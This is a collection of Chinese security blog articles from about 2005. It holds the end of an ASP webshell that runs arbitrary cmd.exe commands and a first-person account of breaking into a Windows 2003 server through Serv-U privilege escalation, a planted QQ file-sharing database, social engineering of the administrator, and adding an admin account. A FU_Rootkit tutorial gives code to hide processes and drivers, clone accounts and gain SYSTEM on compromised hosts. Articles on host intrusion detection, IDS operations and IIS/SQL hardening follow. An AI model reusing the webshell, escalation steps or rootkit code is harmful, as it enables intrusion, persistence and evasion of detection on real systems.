If Request(“SP”)<>”" Then Session(“ShellPath”) = Request(“SP”)
ShellPath=Session(“ShellPath”)
if ShellPath=”" Then ShellPath = “cmd.exe”
if Request(“wscript”)=”yes” then
checked=” checked”
else
checked=”"
end if
If Request(“cmd”)<>”" Then DefCmd = Request(“cmd”)
SI=”<form method=’post’><input name=’cmd’ Style=’width:92%’ class=’cmd’ value=’”&DefCmd&”‘><input type=’submit’ value=’运行’>”
SI=SI&”<textarea Style=’width:100%;height:500;’ class=’cmd’>”
If Request.Form(“cmd”)<>”" Then
if Request.Form(“wscript”)=”yes” then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&” /c “&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
<object runat=server id=ws scope=page classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
<object runat=server id=fso scope=page classid=”clsid:0D43FE01-F093-11CF-8940-00A0C9054228″></object>
<%szTempFile = server.mappath(“cmd.txt”)
Call ws.Run (ShellPath&” /c ” & DefCmd & ” > ” & szTempFile, 0, True)
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&”</textarea>”
SI=SI&”SHELL路径:<input name=’SP’ value=’”&ShellPath&”‘ Style=’width:70%’> “
SI=SI&”<input type=’checkbox’ name=’wscript’ value=’yes’”&checked&”>WScript.Shell</form>”
Response.Write SI
End Function

利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server, 活动端口列表中又出现了43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示(如图1)。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对ServUDaemon.exe中默认的管理员或密码进行了修改。当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。

三、利用QQ2005共享文件漏洞将权限提升到底
再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞。
该漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。
具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:\或者其他任何有利用价值的分区为共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。如图3所示。,上传覆盖目标服务器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。。
因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又能继续了。
当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改成了“LocalAdministruser”。这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将LocalAdministrator改为LocalAdministruser即可。
然后上传修改后的ftp2.exe,在wscript.shell中执行D:\web\ftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。
―――经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。

四、简单启示

可以看出,和“服务越少越安全”一样,服务器上运行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 权限提升和这里提出的利用QQ2005提升权限,都是可以这样避免

科尔

HIDS如何保护主机系统

0

分类 : 技术文摘 | 发表时间 12-12-2005

从技术上看,入侵检测系统基本上可分为两类:基于网络(NIDS)和基于主机(HIDS)。本文主要介绍基于主机的入侵检测系统,包括它的主要用途、基本工作原理和方式、优缺点、现状和发展趋势等。

HIDS的原理及体系结构

主机入侵检测系统通常在被重点检测的主机上运行一个代理程序。该代理程序扮演着检测引擎的角色,它根据主机行为特征库对受检测主机上的可疑行为进行采集、分析和判断,并把警报信息发送给控制端程序,由管理员集中管理。此外,代理程序需要定期给控制端发出信号,以使管理员能确信代理程序工作正常。如果是个人主机入侵检测,代理程序和控制端管理程序可以合并在一起,管理程序也简单得多。
不同的应用范围,对主机入侵检测的要求也有不同。我们将其分为:个人、企业、政府、电信等多个级别。

1.个人级:由于个人电脑的配置较低,专供个人使用的入侵检测产品在功能和性能上做了极大的简化。同时在易用性方面针对个人用户又有了加强,如图形界面的使用,配置向导等功能。
2.企业级:企业级的入侵检测产品要求在性能、功能、易用性、成本等几方面找到一个平衡点。
3.政府级:政府网络虽然流量并不比企业网络流量大,但是政府网络的安全性显然比其他特性更加受到重视。因此攻击识别能力和实时响应能力更为重要。
4.电信级:在电信企业的网络中,进出的数据流量是普通企业网络的几倍甚至几百倍。实时检测如此大的数据流量,对产品的攻击识别能力、丢包率等性能指标提出了极高的要求。
主机入侵检测系统主要依靠主机行为特征进行检测。检测系统可通过监测系统日志和SNMP陷阱来寻找某些模式,这些模式可能意味着一大堆安全上很重要的事件。检测系统的特征库包括很多类操作系统上的事件。这些事件检查可疑的文件传输,受拒的登录企图,物理信息(如一块以太网卡被设为混杂模式),以及系统重启。特征库也可包括来自许多应用程序和服务的安全讯息,如Secure Shell、Sendmail、Qmail、Bind和Apache Web服务器。

基于主机的入侵检测系统的一个优势就是它可以根据结果来进行判断。判据之一就是关键系统文件有没有在未经允许的情况下被修改,包括访问时间、文件大小和MD5密码校验值。
主机入侵检测系统需要和现有的系统紧密集成,当然支持的平台越多越好。目前的主流商业入侵检测系统通常支持或将支持大部分主流的企业级Windows和Unix系统。
在Window NT/2000中,系统有自带的安全工具,类似于早期 Windows 版本的策略编辑器。利用这个工具可以使安全策略的规划和实施变得更为容易。安全策略问题包括账号策略、本地策略、共钥策略和IP安全策略。系统中违反安全策略的行为都作为事件发送给系统安全日志。主机入侵检测可以根据安全日志分析判断入侵行为。

在主机入侵检测系统中,不管在什么操作系统,普遍用到各种勾子技术对系统的各种事件,活动进行截获分析。在Win NT/2000中,由于系统中的各种API 子系统,如Win32 子系统、Posix 子系统及其他系统最终都要调用相应的系统服务例程(System Services Routines),所以可以对系统服务例程勾子化。入侵检测系统通过捕获操作文件系统和注册表的函数来检测对文件系统和注册表的非法操作。在有些系统中,可以通过拷贝勾子处理函数不仅可以对敏感文件或目录检测非法操作,还可以阻止对文件或目录的操作。

拨号检测在主机入侵检测系统中也有其特殊的用途。在很多重要部门中都装有内部网,出于对信息的高度安全要求,公司(或部门)不希望有员工私自安装Modem拨号入网。安装于内部网中的带有拨号检测的主机入侵检测系统可以检测到员工的这种违规行为,及时阻止。在内部网中,阻止员工侵入其他员工的系统窃取机密信息也是需要的,这通常需要主机入侵检测系统对不同主机中的敏感文件或目录进行检测。

HIDS的优缺点

相对于网络入侵检测,主机入侵检测有以下优点:
◆ 性价比高 在主机数量较少的情况下,这种方法的性价比可能更高。
◆ 更加细致 这种方法可以很容易地监测一些活动,如对敏感文件、目录、程序或端口的存取,而这些活动很难在基于协议的线索中被发现。
◆ 视野集中 一旦入侵者得到了一个主机的用户名和口令,基于主机的代理是最有可能区分正常的活动和非法活动的。
◆ 易于用户剪裁 每一个主机有其自己的代理,用户剪裁更方便。
◆ 较少的主机 基于主机的方法不需要增加专门的硬件平台。
◆ 对网络流量不敏感 用代理的方式一般不会因为网络流量的增加而丢失对网络行为的监视。
当然,主机入侵检测系统也有它的局限性:
◆ 操作系统局限 不象NIDS,厂家可以自己定制一个足够安全的操作系统来保证NIDS自身的安全,HIDS的安全性受其所在主机操作系统的安全性限制。
◆ 系统日志限制 HIDS会通过监测系统日志来发现可疑的行为,但有些程序的系统日志并不详细,或者没有日志。有些入侵行为本身不会被具有系统日志的程序纪录下来。
◆ 被修改过的系统核心能够骗过文件检查 如果入侵者修改系统核心,则可以骗过基于文件一致性检查的工具。

HIDS的发展现状

目前,基于网络的入侵检测系统的数量仍然多于基于主机的入侵检测系统。基于主机的入侵检测系统通常带有基于网络的入侵检测系统组件,但反过来就少了。原因很简单:基于网络的入侵检测系统不需要对现有的系统和应用程序做更改,因而没有兼容性问题,而且一套系统能监测整个网段,部署容易。基于主机的入侵检测系统可以弥补基于网络入侵检测系统的不足,同时,自身的局限性又以网络入侵检测系统的优势弥补。两者结合,能够互相取长补短,更好地进行检测。

安装入侵检测系统后的注意事项

0

分类 : 技术文摘 | 发表时间 12-12-2005

在经过数月的评估、测试、购置等工作,部署好入侵检测系统后,别以为事情就已完成,其实还有很多等待你去做。
   入侵检测系统(Intrusion Detection System IDS)如同一个三岁的早熟小孩,需要你时刻注意他,否则他就不高兴。这种说法可能有些离谱,但IDS确实不象其它安全系统那样,在安装后可以置之不理,而是需要与你沟通,需要你的特别留意。
  防火墙有可能不需要你的理会,因为它只是默默地驻守在网络的旁边,隔断所有不受欢迎的网包,保护你的网络不受拒绝服务攻击或惹上其它与IP有关的麻烦。 认证系统、VPN 以及其它大部分安全设备也都不需要你的理会。你越不理会它们的存在,它们越能各尽其职。

  相反,IDS需要你不断地敦促才能”进入状态”,这样才会告诉你它正在扫描端口,有无诸如”SYN风暴” 及其它各种各样的”鬼东西”正在攻击你的网络及系统。所以,如果你考虑把IDS作为网络安全架构的一部分,你就不仅要考虑哪些方案最能满足你的需要,还要考虑你在”安装后的生活状况”。也就是说,你将如何监控你的系统,谁去监管这些系统,以及最重要一点–IDS半夜三更发出警报时,你该怎麽办?

不仅仅是”即插即用”

  要好好利用IDS,因为安装后不仅意味着你拥有探测器及监控器,同时,你将拥有技术和人力资源的定制权、监控权、反应权及改正权。

  定制 是指更精细地调校IDS,使IDS有能力找出与你网络有关的事件。统计数据显示:大部分攻击是由来自企业内部DMZ (非军事区)的人发动的,所以这个寻找过程不仅限于消除来自网上的假警报。

  监控 是指对IDS资源的理解,包括知道什么是假警报以及如何调查及处理那些看来是真的警示。

  反应 是指当有真警报发生时所采取的行动。攻击者究竟想达到什么目的?攻击者来了没有?如果你的Web 服务器已被破坏,你要做什么?把服务器关掉,还是进入离线状态?是否要发动反击?你是否准备进行犯案分析,来判断真正发生了什么事情,然后采取法律行动?

  改正是指堵塞漏洞–漏洞的范围很广泛,可以是一个配置不良的服务器,或是一个过时的安全政策和一个不充分安全的网络边界。

  IDS 监控及程序 在把整个安全架构捆绑在一起时,你有没有考虑清楚到底要监控什么?你有没有决定一旦发生事故后要采取什么行动?一旦检测到入侵事件, 你有没有一套纠正问题的机制? 如果你不能回答这些问题,你就没有资格讨论网络安全这一问题。

入侵检测系统:回顾

  在深入探讨如何监控IDS 及如何对攻击或滥用等行为报告反应前,我们应该先回顾现在市场上最常见的IDS系统。一般来说,IDS 由探测器及管理器组成,探测器负责寻找出攻击, 而管理器整理探测器收集的数据并把结果报告给操作员。

  IDS探测器基本上分两类: 基于网络的和基于主机的。基于网络的探测器负责嗅探网络的连接,监视例如TCP包的流量等,看看有没有被攻击的迹象;基于主机的探测器在你重要的系统服务器、工作站或用户机器上运行,监视OS或系统事件级别的可疑活动。这些探测器可寻找潜在的可疑活动(如尝试登录失败)。IDS管理器则是一个中央监控中心,不断接收来自探测器及警报器的数据。

  基于网络的IDS 基于网络的IDS如同”超级”探测器,即它们在TCP/IP层(或更低层)监视流量,看看有没有已知的攻击模式(如Ping-of-death 或Web 服务器的攻击)。这些系统的工作极富挑战性,因为探测器看不到网上所有流量的交换环境。此外,绝大部分基于网络的IDS只能找出与黑客攻击类似的滥用模式。基于网络的IDS容易出现假警报。例如,当你的Web 服务器已超载,不能够再处理更多的连接请求时, IDS会以为你正在受到拒绝服务的攻击,但是真实的情况并不是这样。通常,基于网络的IDS不会搜索其它可疑活动,如某个邮递工作人员试图访问你公司的财务数据等。当然,网络嗅探器可以被调校成只搜索某一类攻击,但要找出每种攻击情景是个相当费事的过程。假如很多破坏安全的事件是由内部人所为,而你只用IDS监视网络边界来搜索攻击,这在某种程度还不能达到你投资IDS的目的。

  基于主机的IDS 这种检测系统采取不同的方法搜索攻击模式。基于主机的IDS与嗅探器不同,检测事件要靠操作系统的日志,因此它不能目击发生在网络层的攻击。 如同基于网络的IDS,这些基于主机的IDS迫使你定义清楚哪些是你认为不合法的活动,然后就把这种安全政策转换成IDS规则。基于主机的IDS也可以被配置成搜索某类指定的攻击而忽略其它的模式。同样,调校探测器的过程也是非常费时的。

混合型IDS
   供应商已知道纯粹基于主机或基于网络的IDS拥有很多功能上的局限性,所以,大约在一年前,他们就开始推出新系统。他们把这两类IDS的最好功能结合起来,形成了新的IDS探测架构。ISS 的RealSecure,、NAI 的CyberCop 及ODS 网络公司的CMDS 就采取了这种混合方法来提供入侵检测的解决方案。

  RealSecure 原本依赖基于网络的探测器探测,但现在也包括了基于主机的入侵检测系统。ISS也融合了监控路由器系统日志的功能,所以,现在你的路由器也可以是个IDS探测器。CyberCop现在不仅提供基于主机的IDS,它也正在朝融合架构的方向发展,把网络嗅探器放在它们的主机代理中。而CMDS 同时使用网络及主机信息来搜索攻击模式。

智能IDS管理器

  典型的IDS,不管是基于主机的、基于网络的或是两类型的混合,仍然需要你对它们进行调校及定制。但有一种新型的IDS,名叫”智能系统”IDS,它可以减轻你部分工作量。 这种系统不只可以从特别的探测器中读取数据,还可以从网络中每一台设备读取信息。它们会聆听路由器及操作系统的系统日志,吸纳防火墙的日志文件及IDS探测器信息,然后通过整理这批数据来判断你的网络究竟发生了什么事情。

  这样的智能系统也试图通过智能调校灵敏度以消除假警报。 例如:CMDS就有一个检测不正常活动的工具,它可在某段时间内收集网络的数据,然后用基于网络的方法建立新的用户简表。一旦建立了新的简表,所有超出简表范围的事件都会触发警报。例如,如果用户Bob一般都是在正常工作时间登录网络,但有一次,Bob半夜三点钟从家里登录并开始下载文件。虽然Bob并没有做错事,IDS同样会向你发出警报。

  其它产品也开始相继融合了类似的高级智能功能。例如CyberSafe 的Centrax 融合了安全政策、评估及监控功能,成为单一的管理控制台。 ISS 的RealSecure 的Fusion 技术就是结合了多个探测器的结果,不论这些探测器是基于主机的还是网络的、路由器或防火墙的,根据横跨这些设备的多阶段事件,IDS就可以作出明智的决定。例如,由网络探测器检测出缓冲器溢出,同时,主机探测器检测到根登录,这两者结合就可能是非法操作,IDS便会发出警报。

  其它供应商也正在努力改进系统,使IDS更能减轻行政管理的负担。Axent 的NetProwler 可以先扫描你的网络,看看网络有哪些系统,然后自动配

养在深闺人未识:FU_Rootkit

0

分类 : 技术文摘 | 发表时间 06-12-2005

作者: BB/晴天泡泡
来 源: 《黑客防线》


我在2004年11期黑防上刊登了《小工具巧删Guest/Administrator账户》这篇文章,有不少朋友来信询问工具是如何编写的,其实这个工具里面大部分代码是我拷贝FU_Rootkit过来的。既然朋友们喜欢,这几天我又多了好多想法,那我就来讲讲怎么充分挖掘利用FU_Rootkit吧!
先去www.rootkit.com把FU_Rootkit 给Down下来,以前它在Windows 2000专业版下面提升进程权限有问题,新版本已经修复这个问题。FU_Rootkit也算是“养在深闺人未识”了,比起Hxdef、AFX RootKit来名气小多了,不过是金子终究是要发光的,这不,今天我们就让它来发光了!
FU_Rootkit是开源的,用C语言编写,很容易移植。我的开发环境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2个部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存,Fu.exe则是相应的应用程序。先来看看它的部分功能:
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs] #PID #privilege_name 提升进程标识符为PID的进程权限至指定权限
[-pss] #PID #account_name 改变进程令牌和SID
可以看出FU_Rootkit不仅可以隐藏进程和驱动,改变进程令牌和SID,还可以例举用Hook技术隐藏的进程和驱动。我们今天要做的就是利用Msdirectx.sys完成我们自己的黑客工具集的编写!
权限提升
有了权限我们才能任意地操作,让电脑为我们实现各种功能,所以第一步首先是权限提升。
我们知道,提升进程权限可以用Psu工具,FU_Rootkit也能够实现这个功能,它可以将任意进程提升到SYSTEM权限——不光可以给其它进程提升权限,还可以把自己的进程也提升为SYSTEM权限哦(在下面的文章中你将可以看到这个功能是多么的有用)!
第一步:载入Msdirectx.sys
具体代码见InitDriver()函数。其实朋友们大可不必完全看懂这些代码,把函数直接拷贝过去就OK了。
第二步:查找进程的PID
代码如下:
const char DESTPROC[19] = “UserManager.exe”; // UserManager.exe是程序的进程名称
AddPrivilege(SE_DEBUG_NAME); //提升进程DEBUG权限
HANDLE hRemoteProcess = NULL;
DWORD pid = ProcessToPID(DESTPROC);//这里的pid就是我们进程PID
// ProcessToPID函数如下:
DWORD ProcessToPID(const char *InputProcessName)
//将进程名转换成进程PID的函数
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = “UnknownProcess”;
//提升进程权限至DEBUG权限
AddPrivilege(SE_DEBUG_NAME);
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
{
return 0;
}
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, InputProcessName))
{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
}
第三步:提升进程权限至SYSTEM
具体代码见UpdateToSystem()函数。这样我们的进程UserManager.exe就具备了SYSTEM权限了。
攻击篇
当你得到肉鸡的SYSTEM权限后,当然要把自己的后门进程或驱动器隐藏,然后克隆账号,留个隐藏账号什么的,下面我们就来看看这些功能如何用程序来实现。
1.克隆帐号
各位朋友看到小榕的CA工具是不是很眼馋,想不想自己写一个?在黑防2003年的第7期《C语言克隆账号》上已经有具体介绍。一般来讲,克隆账号的方法有2种:一种是利用系统服务的SYSTEM权限读写SAM文件;第二种是利用驱动提升进程权限。我们这里采用第二种办法。在《C语言克隆账号》一文中,由于其不具备SYSTEM权限,需要手工修改注册表才能够操作注册表SAM文件夹,比较麻烦。在我们这里当然是没有问题的,将其代码COPY过来,粘在我们工程里面就可以了。
2.进程隐藏
进程隐藏实乃木马病毒的必备防身本领,FU_Rootkit中的最基本功能之一就是进程隐藏,首先我们要知道进程的PID或者进程名,然后才能将它隐藏,隐藏代码如下:
DWORD HideProc(DWORD pid)//pid是你要隐藏的进程的PID
{
DWORD d_bytesRead;
DWORD success;
if (!Initialized)
{
return ERROR_NOT_READY;
}
success = DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_HIDEME,
(void *) &pid,
sizeof(DWORD),
NULL,
0,
&d_bytesRead,
NULL);
return success;
}
假如你要想找出隐藏的进程,可以采用工具RTDector0.62工具,黑防以前就介绍过。
3. 驱动隐藏
驱动隐藏?很少见吧。有经验的管理员一般都会使用命令Drivers.exe来查看载入的驱动(Drivers.exe可以在Windows 2000的资源包里面找到),
看到Msdirectx.sys暴露出来了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隐藏起来,运行的命令是:“C:\fu.exe –phd msdirectx.sys”。当然这个功能我们也可以很轻松地移植到我们的程序中去。

防御篇
千万不要以为FU_Rootkit得到SYSTEM权限只是用来攻击,不能防守,其实Rootkit是一把“双刃剑”,运用得当,同样是防御的好帮手。同时,作为一名菜鸟,当然是防守为先,所以请看防守篇。
1. 系统用户查看
眼下只要翻开一本黑客杂志,经常看到什么“隐藏帐号”、“不死帐号”什么的,吓得我等菜鸟心惊胆颤,经常对着用户管理发呆,究竟有没有问题呢?这里我们可以利用LPUSER_INFO_3读取用户信息,包括用户名、用户全名、用户描述、登录次数、登录权限以及上次登录时间等参数,代码较长而且简单,这里就不贴了,有兴趣的可以查看DWORD CUserManagerDlg::UserALLE()函数。
当然,列举账号可以直接从SAM\\SAM\\Domains\\Account\\Users\\Names\中读取,然后与LPUSER_INFO_3中读出来的账号进行对比,这样就能找出隐藏的账号,将那些隐藏的、不死的统统打回原形,让你把账号看得“清清楚楚,明明白白”。
2. 删除Guest
先来看看如何删除Guest用户吧。获取SYSTEM权限后,只要删除在注册表SAM文件夹中对应的Guest和000001F5文件夹就OK了!
void CUserManagerDlg::Deleteguest()
{
BOOL upResult;
upResult=UpdateToSystem();
//先查看一下进程提示权限至SYSTEM成功没有
if(upResult)//如果权限提升SYSTEM成功的话
{
// 删除GUEST用户!
BOOL dResult;
dResult=DelNT(HKEY_LOCAL_MACHINE,”SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest”);//删除Guest文件夹
BOOL dResult2;
dResult2=DelNT(HKEY_LOCAL_MACHINE,”SAM\\SAM\\Domains\\Account\\Users\\000001F5″);//删除guest对应的ID号000001F5文件夹
if(dResult&&dResult2)
{
AfxMessageBox(“成功删除GUEST用户!”);
}
else<
br/>{
AfxMessageBox(“删除GUEST用户失败!”);
}
}
else
{
AfxMessageBox(“提升至SYSTEM权限失败!”);
}
}
其中DelNT()函数是专门定义用来删除注册表子键的函数。
3. 删除Administrator
看到标题你可不要吓一跳,Administrator一般情况下是不能删除的,当然你可以到控制面板->管理工具->计算机管理里面重命名该账户,也可以使用NT Resource Kit提供的Passprop工具启用对Administrator的锁定。我们这里当然要挑战极限:删除Administrator!代码跟删除Guest用户的代码差不多,换个参数就可以了,分别删除注册表SAM文件夹中的Administrator和000001F4文件夹就可以了。而且可以在Administrator当前用户下删除,强吧?嘿嘿。假如你只有这么一个管理员账号的话呢,不好意思,恭喜你:你的机器上从此没有管理员了!

小提示:强烈建议删除Administrator之前一定要先创建一个其它名字的管理员账号!据《微软信息安全文集》中说,删除Administrator和Guest系统内置账户有可能导致破坏SAM数据库,不过《微软信息安全文集》的作者同时声明:经他测试,没有发现副作用。

4. 查杀进程篇
朋友们是否经常遇到这种情况:在任务管理器中发现一个未知进程,并且杀不掉,说是权限不够,这个问题在我们获取System权限后就不再是问题,现在病毒、木马等都是双进程,互相监控,给我们查杀进程带来很大不便,需要我们能够同时查杀多个进程。选用Listview控件作为进程的列举控件,将Checkbox选项选中,这样我们就可以同时选中多个进程进行查杀,爽吧?!
5. 列举用Hook技术隐藏的进程和驱动
这个功能就是FU_Rootkit的过人之处了,可以帮助你查找利用HOOK技术隐藏的进程和木马。实现方法比较简单,大家可以去源码中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函数。

本文利用FU_Rootkit获取SYSTEM权限后,完成了很多实用的黑客小工具, System和Administrator权限一般人看起来感觉都差不多,但在一些与系统内核交互的细节上,可以看出System权限要更大一些。譬如说注册表中的某些文件夹、对物理内存有读写能力等方面。因此,获取System权限后所能做的事情远远不止我们上面所说的这些,希望大家共同挖掘。
http://www.rootkit.com/上有很多开源的好资源,研究并扩展其功能便可以写出很多有用的小软件。将其功能添加到我们小马中去,将会大大提高其生命力。朋友们,现在是不是感觉黑客软件不过如此,人人能写?如果是这样,也不枉费我一番苦心。由于工作关系,时间确实有限,不可能将上面的功能全部一一实现在代码中,其实已经是体力活了,很多功能都只需要把代码COPY进去就可以了。特将删除Guest/Administrator的小工具和FU_Rootkit的代码附上,朋友们升级了可要寄给我一份哦!

锁定IIS和SQL服务器

0

分类 : 技术文摘 | 发表时间 05-12-2005

  微软的IIS和SQL服务器通常是基于Windows的分布式应用环境的主要部分。这就意味着它们也是最经常受到攻击的目标。在本文中,我们将提供提高这些产品安全性的一些具体建议。

  提高IIS安全性的建议

  IIS中有一个称作ISAPI的编程接口,这个编程接口与那些以DLL为扩展名的文件有关。这些文件也称作ISAPI扩展。

  ISAPI是(Internet Server API)的缩写,是微软IIS web服务器的一个应用程序编程接口(API),因为ISAPI与Web服务器结合的更紧密,这使程序员可以通过使用ISAPI开发出比传统CGI技术执行效率更高的基于web的应用程序。除了微软的IIS之外,还有其它一些厂商的Web服务器产品也支持ISAPI接口。

  ISAPI扩展负责处理如活动服务器页(ASP)、.NET网络服务和基于网络的打印共享等功能。然而,很多这些扩展功能都是不必要的,特别是在你使用IIS 5.0以前版本的时候。这个问题是许多这种扩展(过滤器)都存在可以利用的安全漏洞。臭名昭著的“红色代码”就是利用这些扩展功能的一种恶意程序的例子。你可以仅仅启用网络服务器和应用程序需要的那些ISAPI扩展,严格限制能够与各种扩展功能一起使用的HTTP选项。

  在IIS中设置ISAPI选项

  大多数IIS安装都包括一些简单的应用程序和旨在展示这个网络服务器功能的脚本。它们在设计上并不是很好的考虑了安全,特别是在5.0版本之前。这样,人们利用这些程序的安全漏洞就可以覆盖服务器上的文件或者远程阅览,甚至远程访问敏感的服务器信息,如系统设置和指向可执行程序的路径。在设置任何IIS服务器投入正式使用之前,你至少应该删除“/InetPub/iissamples”目录,删除、移动“/InetPub/AdminScripts”管理员脚本目录或限制对它的访问。微软的IIS安全工具IIS Lockdown Tool对于加强IIS安全是非常有用的。

  任何没有坚持不断地升级补丁和保持最新状态的Web服务器都是恶意活动的主要目标。有规律地及时地修补允许公开访问的web服务器是非常重要的。

  ColdFusion和PHP等网络插件也能够在网络服务器中造成安全漏洞。对这些插件要认真进行设置,并且要查看资源网站和最新的安全公告,了解这些插件需要的最新的补丁和新的漏洞。

  IIS安全检查清单

  1.应用最新的操作系统服务包和IIS的安全升级以及在同一台主机上安装的任何应用程序的最新升级包。考虑使用自动升级工具来自动安装补丁。

  2.安装基于主机的杀毒和入侵检测软件。保持这些软件使用最新的补丁并且经常查看记录文件。

  3.关闭不必要的脚本解释器并且删除它们的二进制文件。例如 perl、perlscript、vbscript、jscript、javascript和php。

  4.使用日志并且经常检查日志记录,最好通过归纳事件的自动化程序来查看记录并且报告异常和可疑的事件。

  5.删除或者限制攻击者突破计算机常用的系统工具。例如,tftp(.exe)、ftp(.exe)、cmd.exe、bash、net.exe、remote.exe,和telnet(.exe)等。

  6.在web服务器上仅运行HTTP服务以及支持这种服务所需的服务。

  7.熟悉和最大限度地减少通过公共网络服务器进入内部网络的任何连接。在面向互联网的系统上关闭文件和打印机共享以及NETBIOS名称解析。

  8.在隔离区使用一个单独的DNS服务器为面向互联网的Web服务器服务。把在隔离区外面的不能够解析的任何查询都引导到其它公共DNS服务器中或者你的服务提供商的服务器中,千万不要引导到你内部的DND服务器。

  9.在面向公众的系统中使用与内部系统不同的帐号和密码制定规则,面向互联网的IIS服务器应该位于防火墙后面的隔离区,隔离区和内部网络之间还有第二层防火墙。面向互联网的IIS服务器不应该是内部活动目录域的一部分,或者使用属于内部活动目录域的账户。

  10.如果有必要的话,封锁所有通向隔离区的端口,80端口或者443端口除外。

  11.在一个硬盘上安装操作系统并且在不同的硬盘上安装网站,以防止目录遍历攻击。

  12.如果你必须使用远程数据协议(或者终端服务协议和远程桌面协议)来管理服务器,把默认的3389端口改为黑客不容易发现的其它端口。

  保证IIS安全的工具

  对于单个服务器使用Windows升级或者自动升级程序。

  在可管理的环境中或者管理员负责多个不同的系统的地方使用系统管理服务器 (SMS) 或者 Windows服务器升级服务(WSUS) 。

  微软基准安全分析器(MBSA) 帮助系统管理员在本地系统和远程系统实施扫描,查找最新的补丁。这个工具在Windows NT 4、Windows 2000、 Windows XP和Windows 2003平台上运行。

  使用IIS Lockdown Tool 或者安全设置向导(SCW)增强你的IIS和服务器。使用URLScan过滤HTTP请求。URLScan是IIS Lockdown Tool 的一部分,经过设置之后能够拒绝“蓝色代码”和“红色代码”等恶意的HTTP请求,甚至在服务器处理这些恶意请求之前就能够拒绝这些请求。

  把这些工具下载到另一台机器上并在你的IIS服务器连接到互联网之前把这些工具复制到你的IIS服务器中。避免在彻底进行分析和使用补丁之前把你的IIS服务器连接到互联网。

  修改默认的SQL服务器端口

  最普遍的SQL的攻击甚至在安全公告也没有包含。这就是使用一个空白的口令企图简单地登录SA账户。微软的SQL服务器安装了默认采用一个口令空白的SA账户,这是你需要修改的第一件事情。

